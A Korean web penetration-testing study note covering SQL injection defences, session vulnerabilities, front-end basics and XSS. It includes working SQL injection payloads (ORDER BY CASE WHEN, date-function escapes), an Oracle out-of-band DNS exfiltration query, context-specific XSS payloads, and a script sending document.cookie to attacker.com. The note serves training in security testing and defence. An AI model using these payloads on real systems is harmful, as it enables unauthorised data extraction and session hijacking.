SQL Injection 대응, 세션, XSS 학습 노트
모의해킹 5일차 학습 노트
날짜: 2026년 2월 2일 (월요일)
1. SQL Injection 대응 방안
1.1 Prepared Statement (가장 근본적인 대응 방안)
SQL Injection을 방어하는 가장 효과적인 방법은 Prepared Statement이다.
Statement 방식 (취약)
Statement st = new Statement();
query = "select id,pw,name,email from member where id = " + 입력한ID;
result = db.execute(query);
Prepared Statement 방식 (안전)
PrepareStatement ps = new PrepareStatement();
ps.query = "select id,pw,name,email from member where id = ?";
query.bind(1, 입력한ID);
result = db.execute(query);
동작 원리:
- Statement 방식은 입력값을 문자열로 그대로 쿼리문에 붙인다.
- Prepared Statement는 쿼리문을 미리 컴파일하여 컬럼과 테이블을 고정시킨다.
- 이후 입력되는 모든 값은 데이터로만 인식되어 쿼리문 자체를 조작할 수 없다.
면접 질문: “Prepared Statement 쓰면 100% 안전합니까?”
- 올바른 대답: 제대로 잘 쓰면 100% 안전하다. 그러나 잘못 사용하면 여전히 취약하다.
1.2 Prepared Statement의 취약한 사용 케이스
케이스 1: 테이블명을 동적으로 처리하는 경우
URL: test.com/board/list?boardId=1&search=검색어
취약한 코드:
query = "select 제목, 내용 from " + boardId + " where 제목 like '%?%'";
query.bind(1, keyword);
테이블명(boardId)이 바인딩되지 않고 문자열 결합으로 처리되면, 해당 위치에서 인젝션이 발생한다.
안전한 코드:
if (boardId == "1") {
query = "select 컬럼들 from qna where 제목 like ?";
} else if (boardId == "2") {
query = "select 컬럼들 from notice where 제목 like ?";
} else {
// 에러 처리
}
화이트리스트 방식으로 테이블명을 매핑하여 처리해야 한다.
케이스 2: ORDER BY 절의 정렬 컬럼
URL: test.com/board/list?sorting=title&sortingAd=desc
취약한 코드:
query = "select * from board where 조건 order by " + sorting + " " + sortingAd;
ORDER BY 뒤에는 컬럼명이나 컬럼 번호가 들어가는데, 이 부분은 Prepared Statement로 바인딩할 수 없다. Prepared Statement는 테이블과 컬럼을 미리 고정시키는 기능이기 때문이다.
1.3 ORDER BY 인젝션 기법
ORDER BY 뒤에서는 WHERE 절처럼 조건문을 직접 넣을 수 없다. 대신 CASE WHEN 구문을 활용한다.
기본 문법:
ORDER BY (CASE WHEN 조건 THEN 참일때값 ELSE 거짓일때값 END)
공격 예시 (숫자형):
ORDER BY 1,(CASE WHEN length(user) > 0 THEN 2 ELSE 555/0 END)
- 조건이 참이면 정상적으로 2번 컬럼으로 정렬
- 조건이 거짓이면 0으로 나누기 에러 발생
공격 예시 (문자형):
boardId = not'||(CASE WHEN 공격쿼리 THEN '' ELSE 'x' END)||'ice
- 참이면
notice테이블 조회 - 거짓이면
notxice테이블 조회 시도 → 에러
1.4 숫자형 인젝션
숫자형 파라미터에서는 따옴표 없이 값이 들어가므로 연산을 통해 인젝션 여부를 확인한다.
?id=62-1 (결과: 61로 조회되면 숫자형 인젝션 가능)
?id=62.0 (소수점으로도 테스트)
주의사항:
- URL에서
+는 공백으로 인식되므로 빼기(-) 사용 - 숫자만 들어가는 곳에
int()형변환을 하면 문자열 입력 시 에러 발생 → 인젝션 방어
1.5 날짜형 인젝션
날짜 검색 기능에서 인젝션 포인트를 찾을 때, 쿼리문의 구조를 파악하는 것이 중요하다.
예시 URL:
?startDt=2026-02-01&endDt=2026-02-02
쿼리문 구조 파악:
-- 날짜를 문자로 변환하는 경우
WHERE TO_CHAR(글쓴날짜,'YYYY-MM-DD') > '입력값'
-- 문자를 날짜로 변환하는 경우
WHERE 글쓴날짜 > TO_DATE('입력값','YYYY-MM-DD')
함수 안에 입력값이 들어가는 경우, 괄호와 콤마를 맞춰서 공격 쿼리를 구성해야 한다.
공격 페이로드 예시:
startDt=2026-01-01','YYYY-MM-DD') and (공격쿼리) and TO_DATE('2026-01-01
1.6 OOB (Out-of-Band) 공격
블라인드 SQL Injection에서 데이터를 빠르게 추출하기 위해 외부 서버로 요청을 날리는 기법이다.
Oracle에서 DNS 쿼리 발생:
SELECT utl_inaddr.get_host_address('공격자서버.oast.fun') FROM dual;
데이터 추출 예시:
SELECT utl_inaddr.get_host_address(user||'.공격자서버주소') FROM dual;
DB 서버에서 유저명.공격자서버주소로 DNS 쿼리가 발생하고, 공격자 서버에서 이를 확인하여 데이터를 추출한다.
외부 서버 도구:
- Burp Collaborator (유료)
- interactsh (무료 - oast.fun)
- webhook.site
실무 주의사항:
- 에러 베이스 문제를 OOB로 풀면 안 된다
- OOB는 블라인드 상황에서만 사용해야 한다
- 실무에서 함부로 사용하면 안 된다 (네트워크 정책 위반 가능)
2. 쿠키와 세션
2.1 HTTP 통신의 특성
HTTP는 Stateless(무상태) 프로토콜이다. 서버는 요청-응답 후 클라이언트가 누구인지 기억하지 못한다.
문제점: 사용자 식별 불가 → 로그인 상태 유지 불가
2.2 쿠키 (Cookie)
쿠키란?
- 서버가 브라우저에게 저장하라고 보내는 작은 데이터
- 클라이언트(브라우저)의 하드디스크에 저장됨
- 해당 사이트 접속 시 자동으로 요청에 포함되어 전송됨
쿠키 동작 원리:
- 최초 접속 시, 서버가
Set-Cookie: sessid=AAAA응답 - 브라우저가 해당 쿠키를 로컬에 저장
- 이후 요청 시
Cookie: sessid=AAAA헤더로 자동 전송 - 서버는 AAAA라는 이름의 세션 공간에서 사용자 정보 확인
쿠키 삭제 시:
- 브라우저의 쿠키만 삭제됨 (서버의 세션 공간은 남아있음)
- 다시 접속하면 새로운 세션 ID 발급
- 모든 사이트 로그인이 풀림
2.3 세션 (Session)
세션이란?
- 서버 측에 저장되는 사용자별 저장 공간
- 세션 ID(쿠키 값)로 구분됨
핵심 개념:
- 세션 = 서버에 저장된 공간 (ID, 권한, 장바구니 등)
- 세션 ID = 세션 공간을 식별하기 위한 값 (쿠키에 저장)
로그인 과정:
- 사용자가 ID/PW 입력
- 서버가 DB에서 검증
- 성공 시, 세션 공간에 사용자 정보 저장
- 세션 ID를 쿠키로 발급
결론: 세션 ID = ID + 비밀번호의 역할 → 인증 정보
2.4 세션 관련 취약점
(1) 세션 재사용 (Session Replay Attack / Session Hijacking)
정의: 타인의 세션 ID를 탈취하여 그 사람으로 로그인하는 공격
공격 방법:
- PC방에서 개발자도구 → Application → Cookie 확인
- 와이파이 패킷 감청 (HTTP인 경우)
- XSS 공격으로 쿠키 탈취
대응 방안:
- 로그인 시 IP 저장 후 모든 요청에서 비교
- 보안 솔루션 사용 (MAC 주소, 하드디스크 시리얼 등 추가 검증)
- HTTPS 사용 (패킷 암호화)
한계: 같은 공유기(외부 IP 동일) 사용 시 IP 기반 탐지 불가
(2) 세션 고정 (Session Fixation)
정의: 로그인 전 발급받은 세션 ID가 로그인 후에도 동일하게 유지되는 취약점
공격 시나리오:
- 공격자가 먼저 사이트 접속 → 세션 ID(QQQQ) 발급받음
- 피해자에게 해당 세션 ID가 포함된 링크 전송
- 피해자가 해당 링크로 로그인
- 공격자도 QQQQ로 접속 → 피해자 권한 획득
대응 방안:
def login(id, pw):
if 인증성공:
session.invalidate() # 기존 세션 파기
세션["id"] = id # 새 세션에 정보 저장
세션["ip"] = client.remoteIp()
로그인 성공 시 기존 세션을 파기하고 새로운 세션을 발급해야 한다.
(3) 세션 만료 (Session Timeout)
정의: 일정 시간 동안 세션이 사용되지 않으면 자동으로 만료시키는 것
필요성:
- 사용자가 로그아웃 버튼을 누르지 않고 브라우저를 닫는 경우가 많음
- 세션 공간이 무한히 남아있으면 브루트포싱 공격에 취약
설정:
- 서버 측에서 타임아웃 설정 (예: 30분)
- 마지막 요청 이후 일정 시간 경과 시 세션 삭제
3. 프론트엔드 기초
3.1 HTML (HyperText Markup Language)
역할: 문서의 구조와 틀을 정의
기본 구조:
<html>
<head>
<!-- 문서 설정 (제목, 인코딩 등) -->
</head>
<body>
<!-- 실제 화면에 보여줄 내용 -->
</body>
</html>
태그 구조:
<태그 속성="값">내용</태그>
주요 태그:
<h1>~<h6>: 제목 (크기별)<p>: 문단<input>: 입력 필드<button>: 버튼<img src="경로">: 이미지<a href="URL">: 링크<form action="URL" method="POST">: 폼 전송
input 태그 속성:
type: text, password, hidden, submit 등name: 파라미터 이름 (서버로 전송될 때 사용)value: 기본값 (hidden의 경우 사용자에게 보이지 않음)
3.2 CSS (Cascading Style Sheets)
역할: 디자인 (색상, 폰트, 레이아웃 등)
적용 방법 3가지:
- Inline 방식 - 태그 안에 직접 ```html
파란 글씨
2. **Internal 방식** - style 태그로 분리
```html
<style>
p { color: blue; }
</style>
- External 방식 - 별도 .css 파일 ```html
---
### 3.3 JavaScript
**역할:** 동적인 기능 구현 (사용자 상호작용, DOM 조작 등)
**언어적 특징:**
- 세미콜론(`;`)으로 명령어 구분
- 중괄호(`{}`) 사용
- 한 줄에 여러 명령어 작성 가능
- 들여쓰기 강제 없음
**변수 선언:**
```javascript
var a = 1;
var b = "문자열";
var c = 'single quote도 가능';
조건문:
if (조건) {
참일때 실행;
} else {
거짓일때 실행;
}
반복문:
for (i = 0; i < 10; i++) {
반복 실행;
}
출력:
alert("알림창"); // 팝업
console.log("콘솔 출력"); // 개발자도구 콘솔에 출력
3.4 DOM (Document Object Model) 제어
요소(Element): HTML 태그 하나하나를 객체로 다루는 것
셀렉터(Selector): 특정 요소를 선택하는 방법
요소 선택 방법:
// ID로 선택 (고유값, 문서 내 1개만)
document.getElementById("myId");
// Class로 선택 (그룹, 여러 개 가능) - 배열 반환
document.getElementsByClassName("myClass");
// Name으로 선택 - 배열 반환
document.getElementsByName("myName");
// CSS 선택자로 선택
document.querySelector("#myId");
document.querySelectorAll(".myClass");
ID vs Class:
- ID: 문서 전체에서 유일한 식별자
- Class: 비슷한 요소들을 그룹으로 묶을 때 사용
3.5 이벤트 핸들러
이벤트 핸들러: 특정 이벤트 발생 시 실행되는 속성
주요 이벤트 핸들러:
onclick: 클릭 시onmouseover: 마우스가 올라갔을 때onmouseout: 마우스가 벗어났을 때onload: 페이지/요소 로드 완료 시onerror: 에러 발생 시onfocus: 포커스 받았을 때
사용 예시:
<img src="dog.jpg" onclick="alert('멍멍')">
<img src="dog.jpg" onmouseover="alert('멍멍')">
4. XSS (Cross-Site Scripting)
4.1 XSS란?
정의: 사용자의 입력값이 응답에 그대로 노출되어 JavaScript로 실행되는 취약점
핵심:
- alert 띄우는 게 목적이 아님
- 스크립트가 실행되는 것 자체가 취약점
- 실제 공격에서는 alert를 사용하지 않음 (티가 나기 때문)
4.2 XSS 공격 절차
- 파라미터가 응답에 그대로 노출되는지 확인
- 입력값이 노출되는 위치 파악
- 필요한 특수문자 확인:
< > " ' ( ) / ;등 - 특수문자 치환 여부 확인 (HTML Entity 변환)
- 테스트 구문으로 alert 실행
- 실제 공격 구문 작성
4.3 HTML Entity 인코딩
브라우저가 기능적으로 사용하는 특수문자를 문자열로 표시하기 위한 인코딩
| 문자 | HTML Entity |
|---|---|
< |
< |
> |
> |
" |
" |
' |
' |
& |
& |
4.4 XSS 공격 케이스별 구문
Case 1: 태그 사이에 입력값이 노출되는 경우
<!-- 원본 -->
<div>[입력값]</div>
<!-- 공격 -->
파라미터=<script>alert('XSS')</script>
<!-- 결과 -->
<div><script>alert('XSS')</script></div>
또는 이벤트 핸들러 사용:
파라미터=<img src=x onerror="alert('XSS')">
Case 2: 태그 속성값 안에 입력값이 노출되는 경우
<!-- 원본 -->
<input value="[입력값]">
<!-- 공격 1: 이벤트 핸들러 추가 -->
파라미터=test" onfocus="alert('XSS')
<!-- 결과 -->
<input value="test" onfocus="alert('XSS')">
<!-- 공격 2: 태그 탈출 -->
파라미터=test"><script>alert('XSS')</script><input value="
<!-- 결과 -->
<input value="test"><script>alert('XSS')</script><input value="">
핵심: 따옴표로 속성값을 닫고, 꺾쇠로 태그를 닫은 뒤 공격 구문 삽입
Case 3: JavaScript 코드 안에 입력값이 노출되는 경우
<!-- 원본 -->
<script>
var lib = "[입력값]";
</script>
<!-- 공격 -->
파라미터=test"; alert('XSS'); var a="
<!-- 결과 -->
<script>
var lib = "test"; alert('XSS'); var a="";
</script>
핵심:
- 따옴표로 문자열 탈출
- 세미콜론으로 명령어 구분
- 뒤에 남는 따옴표 처리
4.5 XSS 문제 풀이 예시
XSS 1번 문제:
- 취약 파라미터:
pageIndex - 공격 구문:
xsstest1" /> <script>alert("XSS")</script> - 입력값이
<input value="[값]">형태로 들어가므로 따옴표와 태그를 닫고 스크립트 삽입
XSS 2번 문제:
- 취약 파라미터:
board_id - 공격 구문:
test'}; alert('XSS'); { var a=' - 입력값이 JavaScript 문자열 안에 들어가므로 따옴표와 중괄호를 맞춰서 탈출
4.6 XSS의 실제 위험성
셀프 XSS의 문제:
- 자기 자신에게 alert 띄우는 것은 공격이 아님
- 개발자도구 콘솔에서 JavaScript 실행하는 것과 동일
실제 공격 시나리오:
- 피해자가 공격 URL을 클릭하게 만들어야 함
- 클릭 시 피해자의 쿠키(세션 ID)가 탈취됨
- 공격자는 탈취한 세션 ID로 피해자 권한 획득
공격 구문 예시:
// 쿠키를 공격자 서버로 전송
<script>
new Image().src="https://attacker.com/steal?cookie="+document.cookie;
</script>
5. 면접 대비 포인트
SQL Injection 관련
- Prepared Statement의 동작 원리 (컬럼/테이블 고정)
- Prepared Statement가 취약한 케이스 (테이블명, ORDER BY)
- 블라인드 SQL Injection vs 에러 기반 vs OOB
세션 관련 취약점 3가지
- 세션 재사용 - 타인의 세션 ID 탈취하여 사용
- 세션 고정 - 로그인 전후 세션 ID 동일
- 세션 만료 - 타임아웃 미설정
XSS 관련
- alert 막는다고 안전한 게 아님 (실행 자체를 막아야 함)
- XSS로 할 수 있는 공격 (세션 탈취, 피싱, 키로깅 등)
- Stored vs Reflected vs DOM-based XSS
6. 실습 도구
Burp Suite - Match & Replace
- 매번 쿠키 값을 수정하기 번거로울 때 사용
- 설정: Proxy → Options → Match and Replace → Add
- 특정 값이 요청에 포함되면 자동으로 다른 값으로 치환
외부 서버 (OOB 테스트용)
- interactsh (oast.fun) - 무료
- webhook.site - 무료
- Burp Collaborator - 유료
7. 오늘의 핵심 정리
-
Prepared Statement는 테이블/컬럼을 고정시켜 인젝션을 방어하지만, 동적으로 테이블명이나 정렬 컬럼을 처리하면 여전히 취약하다.
-
세션 ID는 인증 정보와 동일하다. ID/PW를 몰라도 세션 ID만 있으면 로그인이 가능하다.
-
XSS의 핵심은 alert가 아니라 스크립트 실행 자체이다. 입력값이 응답에 노출되는 위치를 파악하고, 문법을 맞춰서 탈출해야 한다.
-
보안 취약점 진단에서 중요한 것은 “할 수 있다/없다”가 아니라 “왜 되는지/안 되는지”를 이해하는 것이다.
댓글 남기기